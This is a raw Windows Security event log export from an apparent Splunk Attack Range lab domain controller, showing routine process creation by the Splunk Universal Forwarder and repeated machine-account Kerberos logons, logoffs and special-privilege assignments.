EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250183
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250182
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1054
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250181
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1064
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250180
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1013F1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250179
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1013F1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64405

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250178
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1013F1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250177
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101390

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250176
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x101390
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64404

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250175
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101390

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250174
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10132A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250173
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10132A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64403

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250172
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10132A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250171
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1012C9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250170
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1012C9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64402

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250169
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1012C9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250201
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x126c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250200
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1284
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1200
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250199
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1200
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250198
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101F2A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250197
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x101F2A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64409

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250196
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101F2A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250195
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101EC9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250194
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x101EC9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64408

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250193
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101EC9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250192
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x101E63

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250191
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x101E63
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64407

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

